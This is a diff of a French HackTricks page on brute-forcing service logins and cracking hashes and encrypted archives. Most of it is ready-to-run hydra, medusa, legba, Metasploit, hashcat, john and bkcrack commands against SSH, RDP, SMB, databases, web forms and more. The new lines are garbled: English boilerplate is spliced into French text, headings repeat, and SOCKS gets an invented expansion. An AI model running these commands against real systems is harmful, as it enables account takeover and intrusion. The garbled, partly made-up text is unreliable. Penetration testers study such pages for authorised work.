+* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-## Identifiants par Défaut +## Identifiants par défaut -**Cherchez sur Google** les identifiants par défaut de la technologie utilisée, ou **essayez ces liens** : +**Recherchez dans Google** les identifiants par défaut de la technologie utilisée, ou **essayez ces liens** : * [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) * [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -39,7 +39,7 @@ Autres moyens de soutenir HackTricks : * [**https://many-passwords.github.io/**](https://many-passwords.github.io) * [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Créez vos propres Dictionnaires** +## **Créez vos propres dictionnaires** Trouvez autant d'informations que possible sur la cible et générez un dictionnaire personnalisé. Outils qui peuvent aider : @@ -55,18 +55,20 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars crunch 6 8 -t ,@@^^%% ``` ### Cewl + +Cewl est un outil qui extrait les mots d'un site Web pour générer une liste de mots potentiels pour une attaque de force brute. ```bash cewl example.com -m 5 -w words.txt ``` ### [CUPP](https://github.com/Mebus/cupp) -Générez des mots de passe basés sur vos connaissances de la victime (noms, dates...) +Générer des mots de passe basés sur vos connaissances de la victime (noms, dates...) ``` python3 cupp.py -h ``` ### [Wister](https://github.com/cycurity/wister) -Un outil de génération de listes de mots, qui vous permet de fournir un ensemble de mots, vous donnant la possibilité de créer plusieurs variations à partir des mots donnés, créant ainsi une liste de mots unique et idéale à utiliser concernant une cible spécifique. +Un outil générateur de listes de mots, qui vous permet de fournir un ensemble de mots, vous donnant la possibilité de créer de multiples variations à partir des mots donnés, créant ainsi une liste de mots unique et idéale à utiliser pour un cible spécifique. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst @@ -103,14 +105,14 @@ Finished in 0.920s.
\ -Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des flux de travail** grâce aux outils communautaires **les plus avancés**.\ -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Services -Classés alphabétiquement par nom de service. +Classés par ordre alphabétique du nom du service. ### AFP ```bash @@ -123,20 +125,46 @@ msf> set USER_FILE msf> run ``` ### AJP + +--- + +#### Brute Force + +Brute force attacks against the AJP protocol can be carried out using tools like Hydra or Burp Suite Intruder. These tools can be used to guess usernames and passwords by systematically trying all possible combinations until the correct one is found. + +--- + +#### Force brute + +Les attaques par force brute contre le protocole AJP peuvent être effectuées à l'aide d'outils tels que Hydra ou Burp Suite Intruder. Ces outils peuvent être utilisés pour deviner des noms d'utilisateur et des mots de passe en essayant systématiquement toutes les combinaisons possibles jusqu'à ce que la bonne soit trouvée. ```bash nmap --script ajp-brute -p 8009 ``` -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM et Solace) +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` ### Cassandra + +Cassandra est une base de données NoSQL distribuée conçue pour gérer de grandes quantités de données réparties sur de nombreux serveurs sans point de défaillance unique. Les attaques de force brute contre Cassandra peuvent être effectuées en essayant de deviner les identifiants et les mots de passe des utilisateurs pour accéder à la base de données. Il est recommandé de mettre en place des mesures de sécurité telles que des politiques de mots de passe forts et des mécanismes de verrouillage de compte pour prévenir les attaques de force brute. ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` ### CouchDB + +#### Brute Force + +Brute force attacks against CouchDB are relatively simple to execute. The most common method is to use a tool like Hydra to repeatedly try different username and password combinations until the correct one is found. This can be effective if the credentials are weak or if the server is not properly configured to prevent multiple login attempts. + +#### Protection + +To protect against brute force attacks, it is recommended to: +- Use strong and unique passwords +- Implement account lockout policies after a certain number of failed login attempts +- Monitor login attempts for any suspicious activity +- Consider using multi-factor authentication for an added layer of security. ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / @@ -146,45 +174,87 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` ### Elasticsearch + +#### Brute Force + +Brute force attacks are a common method used to gain unauthorized access to Elasticsearch instances. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method is effective against weak or default credentials. + +To protect against brute force attacks, it is recommended to: + +- Use strong, complex passwords that are not easily guessable. +- Implement account lockout policies to prevent multiple failed login attempts. +- Monitor Elasticsearch logs for any suspicious login activity. +- Limit access to Elasticsearch instances to only authorized users. +- Regularly update Elasticsearch to patch any known security vulnerabilities. + +By following these best practices, you can significantly reduce the risk of unauthorized access to your Elasticsearch instance. ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` ### FTP + +#### Brute Force + +Brute force attacks against FTP servers involve attempting to log in to an FTP server by systematically trying all possible passwords until the correct one is found. This method is time-consuming but can be effective if the password is weak. Tools like Hydra and Medusa can be used to automate the process of trying different passwords. It is important to note that brute force attacks can be detected by intrusion detection systems, so it is crucial to use this technique carefully and ethically. ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` -### Brute-force HTTP générique +### Brute Force Générique HTTP #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### Authentification HTTP Basic +### Authentification de base HTTP ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` +### HTTP - NTLM + ### HTTP - NTLM ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` -### HTTP - Formulaire Post +### HTTP - Post Form + +--- + +#### Brute Force + +Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is often used to crack passwords and encryption keys. Brute force attacks can be time-consuming but are effective if the key space is small. + +#### Dictionary Attack + +A dictionary attack is a more sophisticated form of brute force attack where a predefined list of words is used. This list can include commonly used passwords, words from the dictionary, or previously leaked passwords. Dictionary attacks are usually faster and more effective than simple brute force attacks. + +#### Hybrid Attack + +A hybrid attack combines elements of both brute force and dictionary attacks. It starts with a dictionary attack and then appends or prepends numbers, symbols, or other characters to the words in the dictionary. This method is more effective than a simple dictionary attack and can crack passwords that are not in the dictionary. + +#### Rainbow Table Attack + +Rainbow table attacks use precomputed tables to crack password hashes. These tables contain a large number of hashes and their corresponding plaintext passwords. By comparing the hash of the target password to the hashes in the rainbow table, attackers can quickly find the plaintext password. Rainbow table attacks are effective against unsalted hashes but less so against salted hashes. ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` -Pour https, vous devez passer de "http-post-form" à "https-post-form" +Pour http**s** vous devez changer de "http-post-form" à "**https-post-form"** -### **HTTP - CMS --** (W)ordpress, (J)oomla ou (D)rupal ou (M)oodle +### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` ### IMAP + +#### Brute Force + +Brute forcing IMAP credentials involves trying all possible combinations of usernames and passwords until the correct one is found. This can be done using tools like Hydra or Medusa. It is important to note that brute forcing is illegal and unethical unless you have explicit permission to test the security of a system. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V @@ -192,13 +262,21 @@ nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` ### IRC + +--- + +Brute-forcing IRC servers is a common technique used to gain unauthorized access to IRC channels. Attackers can use tools like Hydra or Brutus to automate the process of trying different username and password combinations until the correct one is found. This method can be effective if the IRC server does not have protections in place to prevent brute-force attacks. ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` +### ISCSI + ### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` +### JWT + ### JWT ```bash #hashcat @@ -223,11 +301,37 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` ### LDAP + +LDAP (Lightweight Directory Access Protocol) is a protocol used for accessing and maintaining directory services over a network. It is commonly used for authentication and storing information about users, groups, and devices in a centralized directory. + +### LDAP + +LDAP (Lightweight Directory Access Protocol) est un protocole utilisé pour accéder et maintenir des services d'annuaire sur un réseau. Il est couramment utilisé pour l'authentification et le stockage d'informations sur les utilisateurs, les groupes et les appareils dans un annuaire centralisé. ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` ### MQTT + +#### Brute Force + +Brute forcing MQTT credentials involves trying all possible combinations of usernames and passwords until the correct one is found. This can be done using tools like Hydra or custom scripts. + +#### Dictionary Attack + +In a dictionary attack, a list of commonly used usernames and passwords is used to try to gain unauthorized access to an MQTT broker. Tools like Medusa or custom scripts can be used for this purpose. + +#### Rainbow Table Attack + +A rainbow table attack involves precomputing the hash values of commonly used passwords and comparing them to the hash of the target password. If a match is found, the corresponding plaintext password is known. + +#### Credential Stuffing + +Credential stuffing is the automated injection of breached username/password pairs in order to gain unauthorized access to MQTT brokers. This is typically done using custom scripts or tools like Sentry MBA. + +#### Conclusion + +Brute forcing, dictionary attacks, rainbow table attacks, and credential stuffing are common techniques used to compromise MQTT credentials. It is important to use strong, unique passwords and implement additional security measures to protect MQTT brokers from unauthorized access. ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt @@ -238,11 +342,19 @@ nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` +### MSSQL + +### MSSQL + ### MSSQL ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` ### MySQL + +#### Brute Force + +Brute force attacks are a common method used to gain unauthorized access to a MySQL database. Attackers use automated tools to try all possible combinations of usernames and passwords until they find the correct one. This method is effective against weak passwords but can be time-consuming for complex passwords. It is essential to use strong, unique passwords and implement other security measures to protect against brute force attacks. ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -257,6 +369,10 @@ medusa -h -u -P <-f | to stop medusa on fir legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` ### OracleSQL + +#### Brute Force + +Brute force attacks against Oracle databases can be carried out using tools like Hydra or custom scripts. These attacks involve trying all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockout mechanisms if too many failed attempts are made. ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -280,15 +396,33 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` -Afin d'utiliser **oracle\_login** avec **patator**, vous devez **installer** : +Pour utiliser **oracle\_login** avec **patator**, vous devez **installer**: ```bash pip3 install cx_Oracle --upgrade ``` -[Bruteforce hors ligne de hash OracleSQL](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**) : +[Bruteforce de hachage OracleSQL hors ligne](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** et **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` ### POP + +#### Brute Force + +##### Description + +POP is a protocol used for receiving emails. Brute forcing a POP login involves trying multiple username and password combinations until the correct one is found. + +##### Tools + +- Hydra +- Medusa + +##### Methodology + +1. Identify the POP service. +2. Use Hydra or Medusa to brute force the POP login. +3. Specify the target POP server, port, protocol, and wordlist. +4. Start the brute force attack and wait for the correct credentials to be found. ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -300,6 +434,10 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` ### PostgreSQL + +#### Brute Force + +Brute force attacks against PostgreSQL databases can be carried out using tools like Hydra or Metasploit. These tools can attempt to log in to a PostgreSQL database by trying different combinations of usernames and passwords until the correct one is found. It is important to use strong and unique passwords to protect against brute force attacks. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -311,20 +449,22 @@ legba pgsql --username admin --password wordlists/passwords.txt --target localho ``` ### PPTP -Vous pouvez télécharger le paquet `.deb` pour l'installation depuis [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) +Vous pouvez télécharger le paquet `.deb` à installer depuis [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` ### RDP -Le RDP, ou Remote Desktop Protocol, est un protocole de Microsoft permettant la connexion à distance à un autre ordinateur. Pour attaquer des systèmes utilisant RDP, les pirates peuvent utiliser des attaques par force brute pour deviner les identifiants de connexion. Des outils comme `Hydra` sont souvent utilisés pour automatiser ces attaques. Il est crucial de sécuriser les accès RDP, notamment en limitant les tentatives de connexion et en utilisant des mots de passe complexes. +### RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` ### Redis + +Redis (Remote Dictionary Server) est un système de stockage de données en mémoire open source, utilisé comme base de données, cache et courtier de messages. Il prend en charge divers types de structures de données telles que les chaînes, les listes, les ensembles, les hachages, les ensembles ordonnés, les hyperloglogs, les bitmaps et les index géospatiaux. Redis est souvent utilisé pour accélérer les applications en stockant en mémoire des données fréquemment accédées. ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 @@ -332,38 +472,84 @@ hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` ### Rexec + +Rexec is a simple service that allows users to execute commands on a remote system. It is often targeted during brute-force attacks to gain unauthorized access to the remote system. ```bash hydra -l -P rexec:// -v -V ``` +### Rlogin + ### Rlogin ```bash hydra -l -P rlogin:// -v -V ``` ### Rsh + +--- + +#### Brute Force + +Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the key space is small enough to be searched completely. Brute force attacks are time-consuming and resource-intensive, but they are effective against weak passwords. + +##### Tools + +- Hydra +- Medusa +- Ncrack + +##### Techniques + +- Dictionary Attack +- Hybrid Attack +- Rainbow Table Attack ```bash hydra -L rsh:// -v -V ``` +[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) + ### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` +### RTSP + ### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` ### SFTP + +### Force brute + +La force brute est une technique utilisée pour tenter toutes les combinaisons possibles de mots de passe jusqu'à ce que le bon soit trouvé. C'est une méthode courante pour attaquer les services SFTP. ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` ### SNMP + +#### Brute Force + +Brute forcing SNMP community strings is a common technique used to gain unauthorized access to SNMP-enabled devices. This involves systematically trying all possible combinations of characters until the correct community string is found. Tools such as `onesixtyone` and `snmpwalk` can be used to automate this process. + +#### Dictionary Attacks + +Dictionary attacks can also be used to guess SNMP community strings by trying commonly used passwords and phrases. Tools like `onesixtyone` and `snmpwalk` can be utilized for this purpose as well. + +#### SNMP Enumeration + +Once the SNMP community string is obtained, enumeration can be performed to gather information about the device, such as system description, system name, and more. Tools like `snmpwalk` and `snmp-check` can be helpful for SNMP enumeration. ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` +### SMB + +### SMB + ### SMB ```bash nmap --script smb-brute -p 445 @@ -371,19 +557,35 @@ hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` ### SMTP + +SMTP (Simple Mail Transfer Protocol) is a communication protocol for email transmission. It is widely used for sending emails over the Internet. + +### Brute Force Attack + +A brute force attack is a trial-and-error method used to obtain information, such as a user password or personal identification number (PIN). In a brute force attack, automated software is used to generate a large number of consecutive guesses as to the value of the desired data. + +### Dictionary Attack + +A dictionary attack is a technique for defeating a cipher or authentication mechanism by trying to determine its decryption key or passphrase by trying hundreds or sometimes millions of likely possibilities, such as words in a dictionary. ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` ### SOCKS + +SOCKS stands for **S**ocket **O**ver **C**omplete **K**its de **S**écurité. Il est utilisé pour rediriger les connexions réseau à travers un proxy. Les attaquants peuvent utiliser des serveurs SOCKS compromis pour cacher leur identité lors de l'exécution d'attaques de force brute. ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` -### Serveur SQL +### SQL Server + +#### Brute Force + +Brute force attacks against SQL Server can be performed using tools like Hydra, Ncrack, or custom scripts. These tools can help automate the process of trying different combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or alarms on the target system. It is recommended to use this technique cautiously and with proper authorization. ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -392,6 +594,8 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` +### SSH + ### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh @@ -404,15 +608,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### Clés SSH faibles / PRNG prévisible de Debian -Certains systèmes présentent des défauts connus dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction considérable de l'espace des clés qui peut être forcée brutalement avec des outils tels que [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Des ensembles pré-générés de clés faibles sont également disponibles, tels que [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Certains systèmes présentent des failles connues dans la graine aléatoire utilisée pour générer du matériel cryptographique. Cela peut entraîner une réduction drastique de l'espace des clés qui peut être brute-forcé avec des outils tels que [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Des ensembles de clés faibles pré-générées sont également disponibles, comme [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ et OpenMQ) -Le protocole texte STOMP permet l'interaction avec des services de mise en file d'attente de messages comme ActiveMQ, RabbitMQ, HornetQ et OpenMQ. +Le protocole textuel STOMP permet d'interagir avec des services de file d'attente de messages tels que ActiveMQ, RabbitMQ, HornetQ et OpenMQ. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` ### Telnet + +Telnet est un protocole de communication utilisé pour se connecter à des appareils distants sur un réseau. Il peut être utilisé pour effectuer des attaques de force brute en essayant de deviner les identifiants de connexion en envoyant de multiples combinaisons de noms d'utilisateur et de mots de passe. ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -428,6 +634,10 @@ legba telnet \ --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` ### VNC + +#### Brute Force + +Brute force attacks against VNC servers are common due to the protocol's lack of built-in security features. Attackers can use tools like Hydra or Medusa to automate the process of trying different username and password combinations until the correct one is found. It is important to use strong, unique passwords and consider using additional security measures such as VPNs or firewall rules to protect VNC servers from brute force attacks. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -443,14 +653,16 @@ set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm + +Winrm (Windows Remote Management) est un protocole de gestion à distance utilisé pour l'administration des systèmes Windows. ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ```
\ -Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des flux de travail** facilement, alimentés par les outils communautaires **les plus avancés**.\ -Obtenez l'accès aujourd'hui : +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Accédez dès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -463,14 +675,14 @@ Obtenez l'accès aujourd'hui : * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, captures WPA2, et archives MSOffice, ZIP, PDF...) * [https://crackstation.net/](https://crackstation.net) (Hashes) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -* [https://gpuhash.me/](https://gpuhash.me) (Hashes et hashes de fichiers) +* [https://gpuhash.me/](https://gpuhash.me) (Hashes et hachages de fichiers) * [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) * [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) * [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Consultez cela avant d'essayer de forcer brutalement un Hash. +Consultez ceci avant d'essayer de brute force un Hash. ### ZIP ```bash @@ -488,9 +700,9 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### Attaque de zip en texte clair connu +#### Attaque par force brute de texte en clair connu -Vous devez connaître le **texte clair** (ou une partie du texte clair) **d'un fichier contenu à l'intérieur** du zip chiffré. Vous pouvez vérifier **les noms de fichiers et la taille des fichiers contenus à l'intérieur** d'un zip chiffré en exécutant : **`7z l encrypted.zip`**\ +Vous devez connaître le **texte en clair** (ou une partie du texte en clair) **d'un fichier contenu à l'intérieur** du zip chiffré. Vous pouvez vérifier les **noms de fichiers et la taille des fichiers contenus à l'intérieur** d'un zip chiffré en exécutant : **`7z l encrypted.zip`**\ Téléchargez [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) depuis la page des versions. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip @@ -503,6 +715,8 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` +### 7z + ### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z @@ -515,6 +729,14 @@ apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` ### PDF + +#### Brute Force + +Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there is no other way to obtain it. Brute force attacks can be time-consuming but are often effective. + +#### Protection + +To protect against brute force attacks, it is important to use strong and complex passwords that are not easily guessable. Implementing account lockout policies after a certain number of failed login attempts can also help prevent brute force attacks. Additionally, using multi-factor authentication can add an extra layer of security against these types of attacks. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -523,9 +745,9 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` -### Mot de passe du propriétaire PDF +### Mot de passe propriétaire PDF -Pour cracker un mot de passe de propriétaire PDF, consultez ceci : [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +Pour craquer un mot de passe propriétaire PDF, consultez ceci : [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -539,12 +761,14 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` -### Craquage de NTLM +### Craquage NTLM ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` +### Keepass + ### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john @@ -554,6 +778,8 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` ### Keberoasting + +Keberoasting est une technique utilisée pour extraire des hachages de mots de passe à partir de services tels que Kerberos en ciblant les comptes utilisateur qui ont des services Kerberos associés. ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast 